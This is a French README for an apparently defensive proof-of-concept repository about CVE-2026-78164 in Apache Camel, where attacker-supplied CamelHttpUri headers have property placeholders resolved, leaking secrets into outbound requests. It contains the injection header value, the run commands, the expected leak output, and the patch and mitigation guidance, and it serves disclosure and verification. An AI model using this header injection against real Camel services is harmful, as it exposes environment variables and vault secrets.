
Preuve de concept exécutable pour CVE-2026-78164, démontrant une fuite de secrets lorsque les producteurs HTTP d'Apache Camel résolvent les espaces réservés de propriétés dans les en-têtes CamelHttpUri fournis par l'attaquant.
Reproducteur de preuve de concept exécutable pour la vulnérabilité Apache Camel où les familles de producteurs HTTP permettent à un message entrant de remplacer l'URI de l'endpoint via les en-têtes CamelHttpUri et CamelRestHttpUri, puis transmettaient cette chaîne fournie par le message à CamelContext.resolvePropertyPlaceholders() avant de l'utiliser.
La résolution des placeholders de propriétés est un mécanisme de résolution de configuration, et non une étape d'analyse d'URI. Elle atteint les variables d'environnement du système d'exploitation, les propriétés système de la JVM, chaque PropertiesFunction du classpath (y compris les fonctions secret AWS, Azure, GCP, HashiCorp, IBM, CyberArk et Kubernetes) et — via camel-bean — l'invocation d'une méthode sans argument sur n'importe quel bean du registre. L'appliquer à un contenu d'Exchange influencé par un attaquant transforme une chaîne d'URI en un contexte d'évaluation de configuration et de beans. L'auteur d'une route n'a rien activé de tout cela : un simple to("http://backend/api") statique suffisait.
| Runtime | Répertoire | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-http 4.22.0 (affecté ; corrigé en 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.29.0 + camel-quarkus-http 3.29.0 (Camel 4.15.0, affecté) |
Le comportement est antérieur à la branche 4.x (il remonte à camel-http4 / camel-netty4), donc chaque version affectée et le Camel 4.15.0 du dernier Camel Quarkus sont vulnérables. Le correctif est livré dans Camel 4.18.5 / 4.22.1 / 4.23.0 ; le module Spring Boot exécute à la fois la version affectée (4.22.0) et la version corrigée (4.22.1). Aucune version publiée de Camel Quarkus n'embarque encore un Camel corrigé.
La route est un simple to("http://127.0.0.1:9100/collect") statique pointant vers un collecteur local. L'attaquant définit l'en-tête CamelHttpUri avec une URI portant un jeton de placeholder de propriété — sans connaître la valeur du secret, en nommant seulement la clé :
CamelHttpUri: http://127.0.0.1:9100/collect?leak={{sys:cve78164.secret}}
L'application initialise une propriété système JVM cve78164.secret pour représenter toute valeur de configuration ou secret de coffre-fort. Sur la version affectée, le producteur résout l'espace réservé avant l'envoi de la requête, de sorte que le collecteur voit le secret dans la requête sortante. Sur la version corrigée, le jeton est transmis littéralement.
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
Sortie attendue sur le build affecté :
Outbound request observed by the collector:
GET /collect?leak=S3CR3T-cve78164-do-not-leak
>>> PROVEN: the {{sys:...}} placeholder in the attacker-supplied CamelHttpUri was resolved,
>>> expanding the secret 'S3CR3T-cve78164-do-not-leak' into the outbound request.
Sur la version corrigée, le collecteur voit plutôt GET /collect?leak={{sys:cve78164.secret}} (littéral, non résolu).
| Propriété | Valeur |
|---|---|
| Composant | camel-http / camel-http-common / camel-vertx-http / camel-undertow / camel-netty-http |
| CWE | CWE-1336 (Neutralisation incorrecte d'éléments spéciaux utilisés dans un moteur de template), CWE-200 (Exposition d'informations) |
| Gravité | ÉLEVÉE |
| Vecteur d'attaque | En-tête de surcharge CamelHttpUri / CamelRestHttpUri portant un jeton {{...}} ; le corps et les en-têtes ne sont pas bornés par bridgeEndpoint, et plusieurs consommateurs renseignent CamelHttpUri à partir de la ligne de requête en tant que fonctionnalité de reverse-proxy |
| Impact | Expansion de variables d'environnement, de propriétés système et de secrets de coffre-fort dans la requête sortante ; invocation sans argument de beans du registre ; oracle de clé de configuration définie/non définie via l'erreur renvoyée |
| Versions affectées | À partir de 4.0.0 avant 4.18.5, à partir de 4.19.0 avant 4.22.1 (le comportement est antérieur à la 4.x) |
| Versions corrigées | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24418 |
| Crédit | [email protected] |
Avis de sécurité : https://camel.apache.org/security/CVE-2026-78164.html
L'appel à resolvePropertyPlaceholders() par message est supprimé sur chaque site affecté, de sorte qu'un jeton {{...}} qui
n'apparaît que dans CamelHttpUri ou CamelRestHttpUri est désormais traité comme une partie littérale de l'URI. Les placeholders dans l'URI
de point de terminaison propre à la route ne sont pas affectés — ils sont résolus une seule fois, au moment de la construction, lors de la création du point de terminaison.
Supprimez les en-têtes de surcharge à la frontière de confiance avant le producteur avec removeHeader("CamelHttpUri") et
removeHeader("CamelRestHttpUri"), ou définissez skipControlHeaders=true sur les points de terminaison camel-http (le seul composant
proposant cette option). bridgeEndpoint=true n'est pas une solution de contournement. Appliquez une HeaderFilterStrategy entrante stricte
sur les consommateurs exposés à des expéditeurs non fiables, et résolvez les secrets via un coffre-fort plutôt que via des variables d'environnement ou des propriétés
système qu'un placeholder peut nommer.
Ce dépôt est publié à des fins éducatives et défensives : pour aider les utilisateurs d'Apache Camel à comprendre la vulnérabilité, vérifier s'ils sont affectés et confirmer que la mise à jour la résout. Le « secret » est un artefact local inerte. N'utilisez pas ce matériel contre des systèmes que vous ne possédez pas ou n'exploitez pas.